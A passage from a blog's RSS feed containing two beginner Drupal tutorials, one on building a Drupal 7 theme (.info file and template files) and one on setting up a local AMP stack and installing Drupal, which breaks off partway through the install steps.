</content:encoded></item><item><title>Drupal 101: Getting started with Drupal 7 theming</title><link>https://chenhuijing.com/blog/drupal-101-d7-theming/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-d7-theming/</guid><description>Update: I finally got around to writing that Drupal 8 theming post after two years. With Drupal 8 just around the corner, it may seem odd that I would write a…</description><pubDate>Tue, 11 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Update: I finally got around to writing that &lt;a href=&quot;/blog/drupal-101-d8-theming&quot;&gt;Drupal 8 theming post&lt;/a&gt; after two years.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;With Drupal 8 just around the corner, it may seem odd that I would write a post about Drupal 7 theming, but I figured it would take some time for Drupal 8 to really become mainstream. Also, when I do write that Drupal 8 theming post (coming soon), we can do some one to one comparisons on the things that have changed. Trust me, there are a lot of differences between the two.&lt;/p&gt;
&lt;p&gt;A theme is like the skin for your website. Drupal 7 theming may seem complicated at first. Peeking into a theme folder reveals a bunch of folders littered with PHP files, stylesheets and who knows what else. The easiest way to wrap your head around things is to try and create a theme from scratch. &lt;a href=&quot;http://Drupal.org&quot;&gt;Drupal.org&lt;/a&gt; has a pretty good set of documentation for &lt;a href=&quot;https://www.drupal.org/node/337173&quot;&gt;theming Drupal 7&lt;/a&gt; so that should be your starting point.&lt;/p&gt;
&lt;h2&gt;Folder structure&lt;/h2&gt;
&lt;p class=&quot;no-margin&quot;&gt;All non-core themes should be placed in the &lt;code&gt;sites/all/themes&lt;/code&gt; folder. Start off by creating a new folder here and name it whatever you like. To make things a bit more organised, create three sub-folders, &lt;code&gt;css&lt;/code&gt;, &lt;code&gt;js&lt;/code&gt; and &lt;code&gt;img&lt;/code&gt;, inside your new theme folder. This looks like any other HTML project, doesn’t it?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;godzilla/
|
|-- css/
|
|-- img/
|
`-- js/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The .info file&lt;/h2&gt;
&lt;p&gt;The only required file for a Drupal 7 theme is the &lt;code&gt;.info&lt;/code&gt; file. This file contains all the information, as well as configuration options for your theme. One thing to note is that your theme name &lt;strong&gt;cannot&lt;/strong&gt; contain hypens, spaces or punctuation.&lt;/p&gt;
&lt;p&gt;This is because Drupal uses this name in PHP functions so the same limitations for name-spacing apply. Numbers and underscores are acceptable though. If you name this file &lt;code&gt;godzilla.info&lt;/code&gt;, then Drupal will recognise your theme as &lt;em&gt;godzilla&lt;/em&gt;. Every time you make a change to the &lt;code&gt;.info&lt;/code&gt; file, you must also clear your cache in order to see the changes.&lt;/p&gt;
&lt;p&gt;There are thirteen values that can be used in the &lt;code&gt;.info&lt;/code&gt; file but not all of them are required. Drupal will just use default values for those not defined. But there are a couple others that we should include as well.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;name&lt;/strong&gt; &lt;em&gt;(required)&lt;/em&gt;&lt;br&gt; 
Defines the human-readable version of your theme name. This is the name that shows up on the &lt;em&gt;Administration &gt; Appearance&lt;/em&gt; screen. Because this serves as a label for your theme, you&apos;re allowed to use spaces.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name = Godzilla is rox
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;description&lt;/strong&gt;&lt;br&gt;
Optional but recommended to have. This is a brief description of your theme, which shows up below your theme name on the &lt;em&gt;Administration &gt; Appearance&lt;/em&gt; screen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;description = A custom responsive Godzilla-based theme
&lt;/code&gt;&lt;/pre&gt;
&lt;img alt=&quot;Theme selection&quot; srcset=&quot;/images/posts/d7-theming/info-480.jpg 480w, /images/posts/d7-theming/info-640.jpg 640w, /images/posts/d7-theming/info-960.jpg 960w, /images/posts/d7-theming/info-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/d7-theming/info-640.jpg&quot;&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;core&lt;/strong&gt; &lt;em&gt;(required)&lt;/em&gt;&lt;br&gt;
Indicates what major version of Drupal the theme is compatible with. If this does not match the version of Drupal installed, the theme will be disabled.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;core = 7.x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;stylesheets&lt;/strong&gt; &lt;em&gt;(required)&lt;/em&gt;&lt;br&gt;
Allows you to define which stylesheets gets loaded when you enable your theme. Although it&apos;s not labeled as required in the official documentation, I would consider as such because, unless you declare this, Drupal 7 doesn&apos;t load any of your stylesheets by default. It will use the default Drupal &lt;code&gt;style.css&lt;/code&gt;.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;You can actually specify stylesheets for different media types and media queries, if you need to. Although stylesheets can be placed in sub-directories, it&apos;s recommended to keep that to one level only. The file paths are relative to the theme directory. Also, the order which you list the stylesheets here will be the order that they will be loaded in the head of your HTML document.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stylesheets[all][] = css/styles.css
stylesheets[print][] = css/print.css
stylesheets[screen and (max-width: 480px)][] = css/mobile.css
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;scripts&lt;/strong&gt;&lt;br&gt;
Define any JavaScript files used in your theme. Similar to stylesheets, they are relative to the theme folder as well. FYI, Drupal already comes with jQuery, so no need to add it again here.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scripts[] = js/scripts.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;regions&lt;/strong&gt;&lt;br&gt;
Optional and will default to the list below if not specified. Regions are what shows up in the &lt;em&gt;Administration &gt; Structure &gt; Blocks&lt;/em&gt; screen. If you want to define your own regions, keep in mind that &lt;code&gt;regions[content] = Content&lt;/code&gt; &lt;strong&gt;must&lt;/strong&gt; be present. Using standard Drupal names for the sidebar regions lets Drupal add sidebar classes to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag. You can go nuts with naming any other custom regions you want.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;regions[header] = Header
regions[highlighted] = Highlighted
regions[help] = Help
regions[content] = Content
regions[sidebar_first] = Left sidebar
regions[sidebar_second] = Right sidebar
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The full list of all options available for the &lt;code&gt;.info&lt;/code&gt; file can be found &lt;a href=&quot;https://www.drupal.org/node/171205&quot;&gt;here&lt;/a&gt;. A sample &lt;code&gt;.info&lt;/code&gt; file would look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name = Godzilla is rox description = A custom responsive Godzilla-based theme core = 7.x
stylesheets[all][] = css/styles.css scripts[] = js/scripts.js regions[header] = Header
regions[content] = Content regions[sidebar_first] = Left sidebar regions[sidebar_second] = Right
sidebar regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Template files&lt;/h2&gt;
&lt;p class=&quot;no-margin&quot;&gt;The markup of your site is controlled by template files, which use the &lt;code&gt;.tpl.php&lt;/code&gt; extension. The way Drupal works is, unless you need something custom, Drupal will load its default templates to generate the HTML mark-up for your site. Most modules comes with their own &lt;code&gt;tpl.php&lt;/code&gt; file, which can be overridden by making a copy of it and placing it in a &lt;code&gt;templates&lt;/code&gt; folder in your &lt;code&gt;theme&lt;/code&gt; folder. Remember folks, &lt;strong&gt;never hack core&lt;/strong&gt;. At this point, your theme folder would probably look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;godzilla/
|
|-- css/
|
|-- godzilla.info
|
|-- img/
|
|-- js/
|
`-- templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The default theme engine for Drupal 7 is &lt;a href=&quot;https://web.archive.org/web/20150906003104/https://www.drupal.org/phptemplate&quot;&gt;PHPTemplate&lt;/a&gt;, written by &lt;a href=&quot;http://daemon.co.za/&quot;&gt;Adrian Rossouw&lt;/a&gt;. Although the template files are recognised as PHP, they are actually a HTML scaffold that utilise PHP statements and variables to pull dynamic data from the database. So if you&apos;re familiar with HTML, you&apos;ll be just fine, don&apos;t be intimidated by all the &lt;code&gt;&amp;lt;?php ?&amp;gt;&lt;/code&gt; stuff in there.&lt;/p&gt;
&lt;p&gt;I personally chose to override two template files for my theme, the &lt;code&gt;html.tpl.php&lt;/code&gt; and the &lt;code&gt;page.tpl.php&lt;/code&gt;. Quick aside, in order to learn all this, I built my own starter theme called &lt;a href=&quot;https://www.drupal.org/sandbox/hj_chen/2345293&quot;&gt;Clarus&lt;/a&gt; and now use it to start all my custom Drupal 7 themes.&lt;/p&gt;
&lt;p&gt;But anyway, as their names suggest, the &lt;code&gt;html.tpl.php&lt;/code&gt; file serves as the scaffold for the whole HTML document, everything between the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/html&amp;gt;&lt;/code&gt; tags. The &lt;code&gt;page.tpl.php&lt;/code&gt; controls the markup for the content in the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; of your page.&lt;/p&gt;
&lt;p&gt;Again, you don&apos;t have to rewrite any of these template files if you don&apos;t want to, you can just theme using CSS, but then you&apos;ll have to follow the default Drupal mark-up structure.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;My &lt;code&gt;html.tpl.php&lt;/code&gt; file is relatively small. I rewrote this file because I wanted my theme to use HTML5. Drupal provides a lot of variables that you can just call on with a simple &lt;code&gt;&amp;lt;?php print $VARIABLE_NAME ?&amp;gt;&lt;/code&gt;. No need to write those by hand. Click &lt;a href=&quot;https://www.drupal.org/node/1728208&quot;&gt;here&lt;/a&gt; for the list of all the variables available for use.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
/**
 * @file
 * Return the basic html structure of a single Drupal page.
 *
 * Complete documentation for this file is available online.
 * @see https://drupal.org/node/1728208
 */
?&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;!--[if lt IE 9]&amp;gt;
&amp;lt;script src=&amp;quot;&amp;lt;?= base_path().path_to_theme(); ?&amp;gt;/js/html5shiv.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;![endif]--&amp;gt;
&amp;lt;html lang=&amp;quot;&amp;lt;?php print $language-&amp;gt;language; ?&amp;gt;&amp;quot; dir=&amp;quot;&amp;lt;?php print $language-&amp;gt;dir; ?&amp;gt;&amp;quot; &amp;lt;?php print $rdf_namespaces; ?&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;?php print $head; ?&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;&amp;lt;?php print $head_title; ?&amp;gt;&amp;lt;/title&amp;gt;
    &amp;lt;?php print $styles; ?&amp;gt;
    &amp;lt;?php print $scripts; ?&amp;gt;
  &amp;lt;/head&amp;gt;

  &amp;lt;body class=&amp;quot;&amp;lt;?php print $classes; ?&amp;gt;&amp;quot; &amp;lt;?php print $attributes;?&amp;gt;
    &amp;lt;div id=&amp;quot;skip-link&amp;quot;&amp;gt;
      &amp;lt;a href=&amp;quot;#main-content&amp;quot; class=&amp;quot;element-invisible element-focusable&amp;quot;&amp;gt;&amp;lt;?php print t(&apos;Skip to main content&apos;); ?&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;?php print $page_top; ?&amp;gt;
    &amp;lt;?php print $page; ?&amp;gt;
    &amp;lt;?php print $page_bottom; ?&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you look at line 26 of my &lt;code&gt;html.tpl.php&lt;/code&gt; file, that line &lt;code&gt;&amp;lt;?php print $page; ?&amp;gt;&lt;/code&gt;, calls the contents of the &lt;code&gt;page.tpl.php&lt;/code&gt; file. Like the &lt;code&gt;html.tpl.php&lt;/code&gt;, there are many variables available for use in this file as well.&lt;/p&gt;
&lt;p&gt;Elements like the site name, logo, main menu, breadcrumbs and so on can be accessed and rendered via these variables. You can check out the full list &lt;a href=&quot;https://www.drupal.org/node/1728148&quot;&gt;here&lt;/a&gt;. For something simple, you can start off with just the page structure.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;header class=&amp;quot;site-header&amp;quot;&amp;gt;
&amp;lt;/header&amp;gt;

&amp;lt;div class=&amp;quot;wrapper&amp;quot;&amp;gt;
  &amp;lt;main class=&amp;quot;main&amp;quot; role=&amp;quot;main&amp;quot;&amp;gt;
  &amp;lt;/main&amp;gt;

  &amp;lt;aside class=&amp;quot;sidebar&amp;quot;&amp;gt;
  &amp;lt;/aside&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;footer class=&amp;quot;site-footer&amp;quot;&amp;gt;
&amp;lt;/footer&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To add content to your page via the Blocks interface, we need to declare regions in the &lt;code&gt;page.tpl.php&lt;/code&gt; file. Each region is identified by its machine name, which is defined in the &lt;code&gt;.info&lt;/code&gt; file. Drupal utilises something called &lt;a href=&quot;https://www.drupal.org/node/930760&quot;&gt;Render Arrays&lt;/a&gt; to output content on your page. That&apos;s what all those &lt;code&gt;&amp;lt;?php print render($page[&apos;REGION_NAME&apos;]); ?&amp;gt;&lt;/code&gt; lines do.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;header class=&amp;quot;site-header&amp;quot;&amp;gt;
  &amp;lt;?php print render($page[&apos;header&apos;]); ?&amp;gt;
&amp;lt;/header&amp;gt;

&amp;lt;div class=&amp;quot;wrapper&amp;quot;&amp;gt;

  &amp;lt;main class=&amp;quot;main&amp;quot; role=&amp;quot;main&amp;quot;&amp;gt;
    &amp;lt;a id=&amp;quot;main-content&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;?php print render($page[&apos;content&apos;]); ?&amp;gt;
  &amp;lt;/main&amp;gt;

  &amp;lt;?php if ($page[&apos;sidebar_first&apos;]): ?&amp;gt;
  &amp;lt;aside class=&amp;quot;sidebar&amp;quot;&amp;gt;
    &amp;lt;?php print render($page[&apos;sidebar_first&apos;]); ?&amp;gt;
  &amp;lt;/aside&amp;gt;
  &amp;lt;?php endif; ?&amp;gt;

&amp;lt;/div&amp;gt;

&amp;lt;?php if ($page[&apos;footer&apos;]): ?&amp;gt;
&amp;lt;footer class=&amp;quot;site-footer&amp;quot;&amp;gt;
  &amp;lt;?php print render($page[&apos;footer&apos;]); ?&amp;gt;
&amp;lt;/aside&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wrapping the mark-up for rendering a region with an if statement like &lt;code &gt;&amp;lt;?php if ($page[&apos;highlighted&apos;]): ?&amp;gt; /_ Your code here _/ &amp;lt;?php endif; ?&amp;gt;&lt;/code&gt; allows us to check if the regions have any content in them or not before rendering that region.&lt;/p&gt;
&lt;p&gt;For example, if you&apos;re using the default Drupal &lt;code&gt;html.tpl.php&lt;/code&gt;, and you don&apos;t put any content in the &lt;em&gt;Highlighted&lt;/em&gt; region, then Drupal will not even render that region on your page.&lt;/p&gt;
&lt;p&gt;The advantage of using regions is that users can manipulate content directly from the admin interface. For elements that you&apos;re fairly certain will remain the same for a long time, you can choose to hard-code them in the &lt;code&gt;page.tpl.php&lt;/code&gt;. Usually a site logo doesn&apos;t change very often, and that can be printed in the &lt;code&gt;page.tpl.php&lt;/code&gt; directly.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;header class=&amp;quot;site-header&amp;quot;&amp;gt;
  &amp;lt;?php if ($logo): ?&amp;gt;
  &amp;lt;a href=&amp;quot;&amp;lt;?php print $front_page; ?&amp;gt;&amp;quot; title=&amp;quot;&amp;lt;?php print t(&apos;Home&apos;); ?&amp;gt;&amp;quot; rel=&amp;quot;home&amp;quot; id=&amp;quot;logo&amp;quot;&amp;gt;
    &amp;lt;img src=&amp;quot;&amp;lt;?php print $logo; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php print t(&apos;Home&apos;); ?&amp;gt;&amp;quot; /&amp;gt;
  &amp;lt;/a&amp;gt;
  &amp;lt;?php endif; ?&amp;gt;
  &amp;lt;?php print render($page[&apos;header&apos;]); ?&amp;gt;
&amp;lt;/header&amp;gt;

&amp;lt;?php if ($breadcrumb): ?&amp;gt;
&amp;lt;div class=&amp;quot;breadcrumb&amp;quot;&amp;gt;&amp;lt;?php print $breadcrumb; ?&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;?php endif; ?&amp;gt;

&amp;lt;?php print $messages; ?&amp;gt;

&amp;lt;div class=&amp;quot;wrapper&amp;quot;&amp;gt;

  &amp;lt;main class=&amp;quot;main&amp;quot; role=&amp;quot;main&amp;quot;&amp;gt;
    &amp;lt;a id=&amp;quot;main-content&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;?php print render($page[&apos;content&apos;]); ?&amp;gt;
  &amp;lt;/main&amp;gt;

  &amp;lt;?php if ($page[&apos;sidebar_first&apos;]): ?&amp;gt;
  &amp;lt;aside class=&amp;quot;sidebar&amp;quot;&amp;gt;
    &amp;lt;?php print render($page[&apos;sidebar_first&apos;]); ?&amp;gt;
  &amp;lt;/aside&amp;gt;
  &amp;lt;?php endif; ?&amp;gt;

&amp;lt;/div&amp;gt;

&amp;lt;?php if ($page[&apos;footer&apos;]): ?&amp;gt;
  &amp;lt;footer class=&amp;quot;site-footer&amp;quot;&amp;gt;
    &amp;lt;?php print render($page[&apos;footer&apos;]); ?&amp;gt;
  &amp;lt;/aside&amp;gt;
&amp;lt;?php endif; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I added a site logo which has a link to the front page, as well as breadcrumbs and messages. Notice that some variables need to use &lt;code&gt;render()&lt;/code&gt; while some are just printed directly. If the variable is an array, you need to use &lt;code&gt;render()&lt;/code&gt;, if not, &lt;code&gt;&amp;lt;?php print $VARIABLE_NAME ?&amp;gt;&lt;/code&gt; works just fine.&lt;/p&gt;
&lt;p&gt;When in doubt, you can always refer to the default &lt;code&gt;page.tpl.php&lt;/code&gt; in the &lt;code&gt;modules/system/&lt;/code&gt; folder to see how the default implementation looks like.&lt;/p&gt;
&lt;h2&gt;Now you can start CSS-ing&lt;/h2&gt;
&lt;p&gt;With all that settled, you can proceed to write up your styles. Depending on how you configured your &lt;code&gt;.info&lt;/code&gt; file, as long as you&apos;ve indicated which stylesheets and scripts your theme will load, writing your theme is just like styling any other HTML site.&lt;/p&gt;
&lt;p&gt;I&apos;m going to cover my theming workflow using Sass and Gulp in another post, because people who want to write plain vanilla CSS are totally free to do so at this point. Using Sass, Gulp and other tools are optional, really. When you&apos;re happy with your theme, take a screenshot of it, name it &lt;code&gt;screenshot.png&lt;/code&gt; and place that in the root of your theme folder.&lt;/p&gt;
&lt;p&gt;I&apos;m also preparing to write a post on theming with Drupal 8. My gut tells me Drupal 8 is really right around the corner, and I&apos;m pretty stoked about all the changes and improvements. CMI, Twig templating, Symfony and lots of other cool stuff are coming our way. This also means learning about a lot of new stuff, but that&apos;s the fun part, right? Gotta keep on Drupal-ing.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Starting Drupal development</title><link>https://chenhuijing.com/blog/drupal-101-local-development/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-local-development/</guid><description>I recently moved from an agency specialising in building Drupal sites to one which is platform-agnostic, and uses all variety of technologies. As my team was…</description><pubDate>Sun, 09 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I recently moved from an agency specialising in building Drupal sites to one which is platform-agnostic, and uses all variety of technologies. As my team was not very familiar with Drupal, I started writing some documentation on setting up locally, installing Drush and commonly used modules, and some other stuff so everyone could get up and running quickly.&lt;/p&gt;
&lt;p&gt;I&apos;ve modified it to be even more beginner-friendly, for people who&apos;ve never built websites before. This is sort of opinionated so feel free not to follow along exactly.&lt;/p&gt;
&lt;h2&gt;The basic technology stack&lt;/h2&gt;
&lt;p&gt;As with most content management systems, Drupal has some &lt;a href=&quot;https://www.drupal.org/requirements&quot;&gt;system requirements&lt;/a&gt; in order to run, commonly known as a technology stack. This simply means you have to install a bunch of things before installing Drupal. The most common stack for running Drupal is: &lt;strong&gt;Apache&lt;/strong&gt;, &lt;strong&gt;MySQL&lt;/strong&gt; and &lt;strong&gt;PHP&lt;/strong&gt;, or AMP stack.&lt;/p&gt;
&lt;p&gt;You can choose to install each of these components separately on your machine, or you can download a &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot;&gt;software bundle&lt;/a&gt; that comes with all of them. &lt;a href=&quot;https://www.apachefriends.org/index.html&quot;&gt;XAMPP&lt;/a&gt; is very popular because it&apos;s cross-platform.&lt;/p&gt;
&lt;p&gt;Some Windows users go with &lt;a href=&quot;https://web.archive.org/web/20200403015747/http://www.wampserver.com/en/&quot;&gt;WAMP&lt;/a&gt; and some Mac users use &lt;a href=&quot;https://www.mamp.info/en/&quot;&gt;MAMP&lt;/a&gt;. All of them generally provide the same functionality, but each have their own pros and cons. I chose to install all my components separately, but if you don&apos;t want to do that, just go with a software bundle.&lt;/p&gt;
&lt;h3&gt;Apache&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://www.apache.org/&quot;&gt;Apache&lt;/a&gt; is the recommended web server for running Drupal. A web server is a program which accepts requests from clients, like browsers, and responds to those requests. It&apos;s like going to a store and asking the shopkeeper for a can of peas. The shopkeeper will check his inventory and if he has any, he&apos;ll hand you the can, if not, he&apos;ll tell you he doesn&apos;t have any.&lt;/p&gt;
&lt;p&gt;To find out more about Apache, you can read &lt;a href=&quot;https://code.tutsplus.com/tutorials/an-introduction-to-apache--net-25786&quot;&gt;An Introduction to Apache&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/thedphoto&quot;&gt;Diana Eftaiha&lt;/a&gt;. You are free to use other web servers, like Nginx or Hiawatha, because Drupal works on any web server that supports PHP.&lt;/p&gt;
&lt;h3&gt;MySQL&lt;/h3&gt;
&lt;p&gt;Drupal also requires a database server, the recommended one being &lt;a href=&quot;http://www.mysql.com/&quot;&gt;MySQL&lt;/a&gt;. Similar to the web server, a database server is a program which provides database services to other programs (like your browser). A database is like a neatly organised filing cabinet, and the database server is like the secretary in charge of all those documents.&lt;/p&gt;
&lt;p&gt;The secretary should only takes requests from authorised personnel, for security reasons. This is why MySQL requires you to have a user name and password to log into the system. By default, MySQL does not come with a graphical user interface (GUI).&lt;/p&gt;
&lt;p&gt;It is definitely possible to manage your database from the command line alone, but most people install a GUI to make things easier. I use &lt;a href=&quot;http://www.sequelpro.com/&quot;&gt;Sequel Pro&lt;/a&gt;, but that&apos;s only for Mac users. A popular choice is &lt;a href=&quot;https://www.phpmyadmin.net/&quot;&gt;phpMyAdmin&lt;/a&gt;, which allows you to handle database management via the browser. &lt;a href=&quot;http://dev.mysql.com/downloads/workbench/&quot;&gt;MySQL workbench&lt;/a&gt; is another database management software which is cross-platform.&lt;/p&gt;
&lt;h3&gt;PHP&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://secure.php.net/&quot;&gt;PHP&lt;/a&gt; is a server-side scripting language which allows web pages to serve up content dynamically. When we install PHP on a server, we are actually installing an engine which interprets the PHP code on your web page.&lt;/p&gt;
&lt;p&gt;Continuing with the secretary example above, it&apos;s as if you have a request but it&apos;s written in Chinese, and the secretary doesn&apos;t understand Chinese. Installing PHP is like introducing a translator, to this mix, so the translator will interpret your Chinese request to the secretary so she can understand exactly what you&apos;re requesting.&lt;/p&gt;
&lt;p&gt;There are many different server-side scripting languages, like Java, Ruby, Python and so on. They are simply different languages, like Chinese, Spanish and French.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Regardless of the option you choose, follow the instructions provided by the software manufacturer to install your software bundle of choice on your machine. If you&apos;re on a Mac and feeling adventurous, these are the resources I used to set up my development environment:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20150321085601/http://echo.co/blog/os-x-1010-yosemite-local-development-environment-apache-php-and-mysql-homebrew&quot;&gt;OS X 10.10 Yosemite Local Development Environment: Apache, PHP, and MySQL with Homebrew&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://passingcuriosity.com/2013/dnsmasq-dev-osx/&quot;&gt;Using Dnsmasq for local development on OS X&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mallinson.ca/osx-web-development/&quot;&gt;The Perfect Web Development Environment for Your New Mac&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Installing all these programs alone is not the end of it. These programs, specifically the Apache server and the MySQL server, must be running in order for everything to work. If you chose to go with a software bundle, there will be an option to start the servers.&lt;/p&gt;
&lt;p&gt;If you&apos;re just starting out, you may tend to forget to start the servers, especially if you&apos;ve restarted your machine. Just keep that in mind if your development site refuses to load. If, for some reason, your MySQL server isn&apos;t running, whatever GUI database management program you&apos;re using won&apos;t load your database either.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Here are some tutorials with screenshots covering how to set up a local Drupal site on your machine for XAMPP, MAMP and WAMP.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://blog.udemy.com/xampp-tutorial/&quot;&gt;XAMPP Tutorial: How to Use XAMPP to Run Your Own Web Server&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.jenlampton.com/blog/using-mamp-local-drupal-development&quot;&gt;Using MAMP for local Drupal development&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20151015070853/http://klausharris.de:80/blog/install-drupal-7-wamp.html&quot;&gt;How to install Drupal 7 on WAMP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Must-have tools&lt;/h2&gt;
&lt;p&gt;Admittedly, we developers love our tools. But if something can streamline your workflow and reduce your development time, why not? Don&apos;t worry, this is not a long list, there are only two tools we really need. Git and Drush.&lt;/p&gt;
&lt;p&gt;I&apos;ve already written about these two tools and how to install them in a previous post about &lt;a href=&quot;/blog/team-drupal-development/&quot;&gt;developing Drupal sites as a team&lt;/a&gt;. You can skip straight to the parts on &lt;a href=&quot;/blog/team-drupal-development/#installing-drush&quot;&gt;installing Drush&lt;/a&gt; and &lt;a href=&quot;/blog/team-drupal-development/#installing-git&quot;&gt;installing Git&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Installing Drupal locally&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Download the latest stable version of Drupal from &lt;a href=&quot;https://www.drupal.org/start&quot;&gt;Drupal.org&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extract the &lt;code&gt;.zip&lt;/code&gt; file into your localhost directory and set up however you normally do a new local site. The common default alias used for your local environment is localhost, or 127.0.0.1, so we&apos;ll be referring to &lt;code&gt;http://localhost&lt;/code&gt; for this example.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Navigate to the sites/default folder and make a copy of the default.settings.php file. Rename this file settings.php. Set the permissions for this file to writeable. You can do that with the following command.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod 666 settings.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You could also right-click the file and change the permissions from there, if you wanted to. Drupal will change the permissions to 444, and this is essential to keeping your site secure.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Depending on what you use to manage databases, create a new mySQL database. You should have a user name and password which you set up when you installed MySQL on your system earlier. These credentials have to be entered when you install Drupal via the browser interface in the next steps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On your browser, navigate to the root of the site, in this case, &lt;code&gt;http://localhost&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You will be redirected to the &lt;code&gt;install.php&lt;/code&gt; page. Select &lt;em&gt;Standard&lt;/em&gt; and continue.
&lt;img alt=&quot;Install&quot; srcset=&quot;/images/posts/local-dev/local-dev-480.jpg 480w, /images/posts/local-dev/local-dev-640.jpg 640w, /images/posts/local-dev/local-dev-960.jpg 960w, /images/posts/local-dev/local-dev-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/local-dev/local-dev-640.jpg&quot;&gt;&lt;/li&gt;
&lt;li&gt;Choose the default language and click next. For the database setup, enter the name of the database you created earlier, with your MySQL credentials. The advanced options can be left as default.
